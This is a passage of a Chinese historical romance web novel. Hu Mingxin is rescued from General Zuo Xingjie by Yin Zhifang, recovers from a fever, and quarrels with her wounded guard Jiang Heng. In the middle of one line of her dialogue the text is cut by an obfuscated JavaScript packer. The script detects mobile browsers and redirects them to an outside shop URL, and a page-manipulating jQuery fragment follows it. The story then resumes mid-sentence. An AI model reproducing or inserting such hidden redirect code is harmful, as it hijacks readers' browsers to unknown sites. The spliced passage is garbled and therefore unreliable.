随着残缺的轿子跑远,胡明心状态越来越差。失重的感觉并不好受,像是身体和灵魂分离一般。脑子更沉,眼前阵阵发黑,险些栽过去。幸好骨鸣力气大,没放手才能保持站着的状态。 暗卫现身,六个人被围在中间,左星桀拍手叫好,从后面缓缓走上来,他瞥了一眼骨鸣,啧啧两声。“世妹,我从前真是小瞧了你,竟然能搭上太子。” 骨鸣是个直肠子急脾气的人,左星桀上来便撞马车跟疯子一样如今还阴阳怪气说主子。他当即就要动手。 但,身形微动他就发现了。 胡明心完全是卸了大半力气在他身上,他一动,她就要倒了。 不明所以转过头,只见少女脸色青白,眉头紧紧锁在一起,甚至她指尖还在用力抠他的袖口,只不过她力气太小,之前才通通没注意到。 “胡姑娘。”他不敢动了,担忧地小声叫喊。 胡明心想说一句没事,但她泡了一夜的河水导致发烧,身上的小伤口更没妥善处理,人处在清醒和迷蒙之间疯狂拉扯,好半天都缓不过神。 左星桀看出不对劲儿,心下有些悔恨自己下手重,也埋怨胡明心,家破人亡了还这么娇气。他气得表情狰狞,大吼出声。“那个杀手在哪?!” 这一句声响太大,震回了胡明心的神智,她摇摇头。“我不知道你说的是什么。” “好,嘴硬是吧。给我把人拿下。” 骨鸣持剑于身前,目光狠厉。 “左将军,莫非你已经能无缘无故越过太子直接拿人了?” 左星桀不以为意,拿起身上的玉佩摔在地上。“胡明心偷拿本将军的玉佩,立刻抓起来,押入大狱。” 一声令下,左星桀带来的人一哄而上,骨鸣又惊又怒,偏偏撑着胡明心不敢做什么大动作。四个暗卫虽武力更胜一筹,无奈数量不济。 战局很快一边倒。 此时胡明心恢复了一点气力,目光紧紧盯着左星桀。“你和你父亲一样无耻至极!我爹也曾指点过你文章,算你半个师父,你对我下手,良心可安?” “师父死于大火,跟我父亲无关。” “左星桀!”骨鸣先胡明心一步喊出声,因为他感觉少女出气都少了,这可是主子交给他的人。折在这算什么?“你的诬陷就发生在我眼皮子底下,难道还想靠这种莫须有的罪名拿人?” “梁国大举进犯我国边境,我已被授君命明日出征,你告诉我,这是诬陷?有本事随我去面君。” 骨鸣动作一滞,说不出话。怎么在这个节骨眼! 眼见着暗卫倒了两个快撑不住了。他刚要动作,城门口传来整齐划一骑马的声音,听起来比左星桀带的人还多。 “住手!”两个字中气十足,怒意滔天。 一人一马率先奔袭而来,一身青衫修长如竹,气质干净。胡明心拼命掀开眼皮去看。只她头晕得厉害,怎么也看不清人。 不过来人迅速隔开了他们和左星桀,她知道,这一定是自己这边的人。 用仅剩的力气在骨鸣耳边告知蒋珩所在,放心倒了下去。她的身子从来没受过这么多伤,强撑这么久。心神一松,如江水湍流而下,不可挽回。 骨鸣撑着人慌乱之下不知所措,来人则下马一把揽过胡明心的腰肢,防止她倒下去。 左星桀难以置信地看着来人。“你怎么会来?” 40. 细看诸处好 “太冒犯了,太冒犯了。” 骨鸣扶额,人都晕了不冒犯也不行啊!最主要的——知道冒犯也没见撒手不是。他瞥了眼还处在惊愕中的左星桀,吹了吹口哨调笑道:“对啊,尹公子,你怎么会来?还带这么多人,看把我们左将军气得。” “太子表哥让我来的。” “什么?!主子?!”骨鸣诧异过后便一脸得意。“果然我主子就是料事如神。” “现在不是吹嘘表哥的时候啊!”尹之昉此时正处于冰火两重天的状态,一边是触手温凉,柔弱无骨的少女,一边是道德圣经,未婚男女怎可身体接触!两方拉扯下急得直冒汗。 骨鸣收起心思,上前一步与左星桀对峙。“怎么,左将军不急着点兵去边境,还要跟我和尹公子一起闹将起来不成?” 左星桀哪里肯走,他直直盯向尹之昉,一手指着胡明心,一边苦口婆心。“长公主一向不涉足朝政才有今日地位。尹公子可要想好了,包庇她等同于包庇之前刺杀我父的逃犯。” 尹之昉手握成拳撑着胡明心身子,鼻腔内满是女子软香。听到左星桀的话不紧不慢挡了回去。“请问左将军,有何证据证明逃犯与胡姑娘有关?可不能空口白牙就拿人啊。比如胡家着火的案子,也是有诸多证据才结的案。” 他甚至在说的时候着重强调了诸多证据四个字,左星桀哪还能听不懂尹之昉在指桑骂槐。气得两眼充血,却又无可奈何。 因为尹之昉带的公主府兵比他还多。 “一个通缉犯,你们就算救了他敢光明正大让他出现在汴京吗?” 尹之昉仰起头。“我们可没救通缉犯,至于我们的事就不劳左将军费心了。” 左星桀咬咬牙,一甩袖子,带着自己的人离开。尹之昉霎时脱离了刚才与人对峙的状态,看向骨鸣结结巴巴。“这个,今日之事传出去会对胡姑娘不利吧。这…这…” 说了半天也没说出个所以然,骨鸣可没那么多忌讳。“现在赶去救人是最紧要的,而且左星桀刚丢了脸不会让人外传,府兵和我这边的人可以控制,如果尹公子觉得毁人名节可以把姑娘先给我。” “那还是不用了。太子表哥说,先带着人去救人,咱们这就走吧。”话语流畅,还带着胡明心后退了几步。 骨鸣对尹之昉这一番操作简直不忍直视,好在胡明心临晕倒前告知了位置,两人不至于抓瞎。 服了解药后,蒋珩的气息一日日稳定,虽然人还没清醒,但脉象逐渐在好转。反倒是胡明心,从躺下去后身体状况每况愈下。 尹之昉特地让人把专门给长公主府看病的府医带来也说只能静养。 在河水中泡了一夜,身上满是被草叶石块割出的伤口。胡明心从小到大都没受过这种伤,还强撑着身体跑回汴京城寻解药,高烧不退外加伤口感染,如今基本就是用药吊着跟阎王爷搏命。 冬藏后悔不已。“早知姑娘身体状况如此,说什么也不能让姑娘自己回汴京。” 不过事情已然发生,现下说什么都没用。好在府医说胡明心只要退烧,性命便无碍。 冬藏每隔一个时辰便更换胡明心额头上的巾帕,悉心照料了两日,胡明心总算醒了。 她起身时眼前模糊,浑身酸痛像是被车碾过。“晤,蒋珩呢?我睡了多久了?” 冬藏闻声手中的湿帕落地,转身看见人醒了险些哭出来。“姑娘可吓死冬藏了,昏迷可整整三天啊!” 胡明心脑子还有些迷糊,下意识朝冬藏笑了笑,露出两个梨涡以示讨好。“蒋珩呢?可还好?” “大人已经解毒了,姑娘放心。” “好,带我去看看他。” 冬藏赶紧上前摁住人,小声劝诫。“姑娘身上伤还没好呢。” 说到这胡明心好似反应过来什么,举起被包扎好的胳膊,一脸惊恐。“不会留疤吧?” 当时救人急切没考虑那么多,现在一想到可能会留疤,胡明心便有点心疼。 爹爹将她养得那般好,通体无瑕,到她手里才两个月就出事了。 在她神色颓败之前,冬藏咳了两声。“廖大夫用的药膏是专门调制的。只要这段时间注意饮食清淡,便不会留疤。” “专门调制?廖大夫?”外面请来的大夫胡明心也见识过。基本上把个脉开完药就走,根本不会考虑得这么细,还注意留疤问题。 这种事听起来,很像自家养得医者。 “是啊!这次的事多亏了尹公子,廖大夫就是长公主府的府医,他特意请来给姑娘看病的。” 尹之昉!那夜看不清,奔袭而来的人竟是他!这下真是欠了好大一个人情。 正想着,门外蓦地传来敲门声。“冬藏,胡姑娘可醒了?药熬好了。” 冬藏看起来很习惯尹之昉送药,起身回道:“这就来。” 眼见着门就要被冬藏打开,胡明心眼睫微颤,她还没想好怎么面对恩人呢,索性两眼一闭,倒下了。 冬藏接过药一转头。“唉?!姑娘!” …… 不管冬藏如何想,等尹之昉走后,胡明心担忧的心情占了上风,她乖乖配合喝药求得冬藏带她去见蒋珩。 蒋珩躺在她隔壁屋子,状态很平稳,只脸色苍白,唇角起皮能看出确实大病了一场。 冬藏在一旁解释。“姑娘拿了解药回来,大人的命便保住了,如今养着就能好。” 杀手受这种伤稀松平常,相比之下,高烧不退的胡明心在当时更危险。 但胡明心完全不知道这件事,她看蒋珩一无所知地躺在床榻上,心里阵阵难受。一种她完全说不上来的感觉。像是心脏被人捏着一样,酸痛得想哭。 她上前坐在塌上,开口便是哭腔。“蒋珩,你能听到我说话吗?” 蒋珩迷迷糊糊间,仿佛听到了小姑娘的悲痛。他挣扎着?,双睫颤抖着?缓缓睁开?眼。 大手正被一双柔嫩无骨的小手攥着,滚烫的泪水直接落在手背上,湿润而温凉,晃若梦中。 他想安慰她,却发不出声音。非但没能杀了左临,还连累姑娘为他担心。他果然是最不称职的侍卫。 蒋珩忽然生出一种无力感。 胡明心注意到他的目光,抬起头,一双杏眸亮晶晶的,犹如洗干净后黑亮的紫葡萄。 “蒋珩!你醒了!你吓死我了!你怎么能这样呢?我根本没让你去刺杀左临,你去逞什么英雄。这下好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008160|129781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把自己弄成这副鬼样子,要不是本姑娘管你,你早死了!” 夏末的风吹进屋内,对于失血过多的人来说,格外带有凉意。但小姑娘紧盯着?他,话语间的责怪句句都饱含担忧。 他不禁莞尔,觉得很暖。连说话都有了力气。 “姑娘……” 两个字叫得清浅又沙哑,胡明心几近以为自己听错了,因为她听那两个字,似是带着讨好之意。 她想凑近去听,不料刚才话说得太多,喉咙间涌上一层痒意。咳得撕心?裂肺,根本无?法再动作。 蒋珩见状,强撑着起身,覆住小姑娘的手,偷偷把了下脉,随后脸色大变,一把掀开小姑娘的袖口。 胳膊上缠着包扎的绷带,在柔嫩的肌肤下,刺眼得要命。 一股怒意直冲天灵盖,蒋珩目光移向冬藏,沙哑的嗓音惊怒。“怎么回事?!” 胡明心被吓了一跳,感觉他在紧紧挟持着她的手,莫名有些心虚。想要使劲儿把人推开,但她那点子力气在蒋珩手下根本不够看?被人直接往心?口处带了带。“别动。” 有点凶,好像救不了冬藏了。 冬藏咬着唇跪下请罪,将事情简化,一五一十交代清楚。 听到小姑娘为了找他下水,撑着高烧的身体去取药,蒋珩恨不得让当时的自己爬起来给自己补一刀。 他最不想的就是让小姑娘裙摆染尘,沾惹这晦暗的世间。但小姑娘却因为他去做了,做得比他想象中还好。 能跟永宁侯府周旋,从太子手下拿药,他的小姑娘在一夕之间,长大了。 蒋珩闭紧了眼,压住心中的万丈波澜。耳朵微动,攥着小姑娘的手缓缓松开,放回寝被中。 “姑娘,蒋珩不值得你如此做,下次该弃就弃了。” “你在说什么胡话!”胡明心猛地站起身,眼前一黑,身体打晃,幸得冬藏就在身后,及时伸手扶了一把。 如果是往常,蒋珩早担心地上手了,但现在…他见冬藏扶住了人,默默将脸撇开。 小姑娘不服气,固执又疲倦地盯着蒋珩,哪怕自己的身体在渐渐发凉,酸软到站不住,也没动。 蒋珩依旧没什么反应,胡明心委屈极了,抹了一把眼泪询问。“你这是什么意思?” 冬藏也开始觉得不太对劲儿,开口劝道:“大人,姑娘发烧刚好,一醒来就吵着见你。” 蒋珩眉间微动,语气平静。“没什么意思。” 胡明心一怔,身体气得发颤,紧紧抿唇。“好,好一句没什么意思。反正你我不是主仆,你如今这个态度是觉得事情我处理得不好闹脾气是吗?” “太过心软,难成大事。” “蒋珩!”胡明心怒喝一声,连咳了好几声。见蒋珩依旧没反应,连冬藏都没带,自己愤恨地离开了屋子。 恐怕小姑娘从没受过这种气,蒋珩心口又开始针扎一般的疼,但他依旧没动作。 冬藏无奈道:“大人。” “去跟着,别让她出事。” 冬藏叹了口气,出去撵胡明心。等两人远走,寝被下攥紧的手松开,血顺着指缝淌下。 他淡淡开口道:“窗后的人,可以出来了。”